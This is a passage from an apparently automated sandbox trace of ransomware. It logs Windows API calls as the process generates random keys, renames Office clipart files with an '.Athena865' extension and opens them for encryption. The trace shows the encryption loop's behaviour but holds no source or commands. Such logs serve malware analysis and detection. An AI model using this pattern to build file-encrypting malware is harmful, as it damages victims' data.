pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.663] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.663] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02743G.GIF" | out: lpString1="PH02743G.GIF") returned="PH02743G.GIF" [0133.663] lstrlenW (lpString="PH02743G.GIF") returned 12 [0133.663] lstrlenW (lpString="Athena865") returned 9 [0133.663] lstrcmpiW (lpString1="2743G.GIF", lpString2="Athena865") returned -1 [0133.664] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.Athena865") returned 73 [0133.664] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.athena865"), dwFlags=0x1) returned 1 [0133.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02743G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02743g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.665] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=28038) returned 1 [0133.666] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.666] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.666] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.669] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.669] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.669] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.670] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02746G.GIF" | out: lpString1="PH02746G.GIF") returned="PH02746G.GIF" [0133.670] lstrlenW (lpString="PH02746G.GIF") returned 12 [0133.670] lstrlenW (lpString="Athena865") returned 9 [0133.670] lstrcmpiW (lpString1="2746G.GIF", lpString2="Athena865") returned -1 [0133.670] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.Athena865") returned 73 [0133.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.athena865"), dwFlags=0x1) returned 1 [0133.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.672] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24187) returned 1 [0133.672] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.672] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.673] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.675] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.676] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.676] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.676] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02746U.BMP" | out: lpString1="PH02746U.BMP") returned="PH02746U.BMP" [0133.676] lstrlenW (lpString="PH02746U.BMP") returned 12 [0133.676] lstrlenW (lpString="Athena865") returned 9 [0133.676] lstrcmpiW (lpString1="2746U.BMP", lpString2="Athena865") returned -1 [0133.677] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.Athena865") returned 73 [0133.677] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02746U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02746u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.679] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32132) returned 1 [0133.679] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.680] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.680] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.683] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.683] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.683] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.684] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02748G.GIF" | out: lpString1="PH02748G.GIF") returned="PH02748G.GIF" [0133.684] lstrlenW (lpString="PH02748G.GIF") returned 12 [0133.684] lstrlenW (lpString="Athena865") returned 9 [0133.684] lstrcmpiW (lpString1="2748G.GIF", lpString2="Athena865") returned -1 [0133.684] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.Athena865") returned 73 [0133.685] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif.athena865"), dwFlags=0x1) returned 1 [0133.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.686] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24720) returned 1 [0133.686] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.687] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.687] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.690] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.690] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.690] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.691] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02748U.BMP" | out: lpString1="PH02748U.BMP") returned="PH02748U.BMP" [0133.691] lstrlenW (lpString="PH02748U.BMP") returned 12 [0133.691] lstrlenW (lpString="Athena865") returned 9 [0133.691] lstrcmpiW (lpString1="2748U.BMP", lpString2="Athena865") returned -1 [0133.691] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.Athena865") returned 73 [0133.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02748U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02748u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.693] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32400) returned 1 [0133.693] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.693] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.693] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.697] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.697] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.697] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.698] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02749G.GIF" | out: lpString1="PH02749G.GIF") returned="PH02749G.GIF" [0133.698] lstrlenW (lpString="PH02749G.GIF") returned 12 [0133.698] lstrlenW (lpString="Athena865") returned 9 [0133.698] lstrcmpiW (lpString1="2749G.GIF", lpString2="Athena865") returned -1 [0133.698] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.Athena865") returned 73 [0133.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.athena865"), dwFlags=0x1) returned 1 [0133.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.700] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=34709) returned 1 [0133.700] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.700] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.700] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.703] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.704] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.704] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.705] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02749U.BMP" | out: lpString1="PH02749U.BMP") returned="PH02749U.BMP" [0133.705] lstrlenW (lpString="PH02749U.BMP") returned 12 [0133.705] lstrlenW (lpString="Athena865") returned 9 [0133.705] lstrcmpiW (lpString1="2749U.BMP", lpString2="Athena865") returned -1 [0133.705] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.Athena865") returned 73 [0133.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02749U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02749u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.707] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33048) returned 1 [0133.707] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.708] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.708] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.711] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.711] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.711] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.712] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02750G.GIF" | out: lpString1="PH02750G.GIF") returned="PH02750G.GIF" [0133.712] lstrlenW (lpString="PH02750G.GIF") returned 12 [0133.712] lstrlenW (lpString="Athena865") returned 9 [0133.713] lstrcmpiW (lpString1="2750G.GIF", lpString2="Athena865") returned -1 [0133.713] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.Athena865") returned 73 [0133.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.athena865"), dwFlags=0x1) returned 1 [0133.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.714] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25799) returned 1 [0133.714] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.715] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.715] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.718] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.718] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.718] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.719] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02750U.BMP" | out: lpString1="PH02750U.BMP") returned="PH02750U.BMP" [0133.719] lstrlenW (lpString="PH02750U.BMP") returned 12 [0133.719] lstrlenW (lpString="Athena865") returned 9 [0133.719] lstrcmpiW (lpString1="2750U.BMP", lpString2="Athena865") returned -1 [0133.719] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.Athena865") returned 73 [0133.719] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02750U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02750u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.721] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=94016) returned 1 [0133.721] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.722] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.722] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.727] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.727] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.727] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.729] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02752G.GIF" | out: lpString1="PH02752G.GIF") returned="PH02752G.GIF" [0133.729] lstrlenW (lpString="PH02752G.GIF") returned 12 [0133.729] lstrlenW (lpString="Athena865") returned 9 [0133.729] lstrcmpiW (lpString1="2752G.GIF", lpString2="Athena865") returned -1 [0133.729] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.Athena865") returned 73 [0133.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.athena865"), dwFlags=0x1) returned 1 [0133.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.730] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=50050) returned 1 [0133.730] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.731] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.731] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.735] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.735] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.735] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.736] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02752U.BMP" | out: lpString1="PH02752U.BMP") returned="PH02752U.BMP" [0133.736] lstrlenW (lpString="PH02752U.BMP") returned 12 [0133.736] lstrlenW (lpString="Athena865") returned 9 [0133.736] lstrcmpiW (lpString1="2752U.BMP", lpString2="Athena865") returned -1 [0133.736] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.Athena865") returned 73 [0133.736] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02752U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02752u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.738] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31752) returned 1 [0133.738] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.738] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.739] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.743] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.744] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.744] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.745] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02753U.BMP" | out: lpString1="PH02753U.BMP") returned="PH02753U.BMP" [0133.745] lstrlenW (lpString="PH02753U.BMP") returned 12 [0133.745] lstrlenW (lpString="Athena865") returned 9 [0133.745] lstrcmpiW (lpString1="2753U.BMP", lpString2="Athena865") returned -1 [0133.745] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.Athena865") returned 73 [0133.745] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02753U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02753u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.747] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=108216) returned 1 [0133.747] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.748] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.748] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.753] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.754] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.754] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.755] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02754U.BMP" | out: lpString1="PH02754U.BMP") returned="PH02754U.BMP" [0133.755] lstrlenW (lpString="PH02754U.BMP") returned 12 [0133.755] lstrlenW (lpString="Athena865") returned 9 [0133.755] lstrcmpiW (lpString1="2754U.BMP", lpString2="Athena865") returned -1 [0133.756] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.Athena865") returned 73 [0133.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft 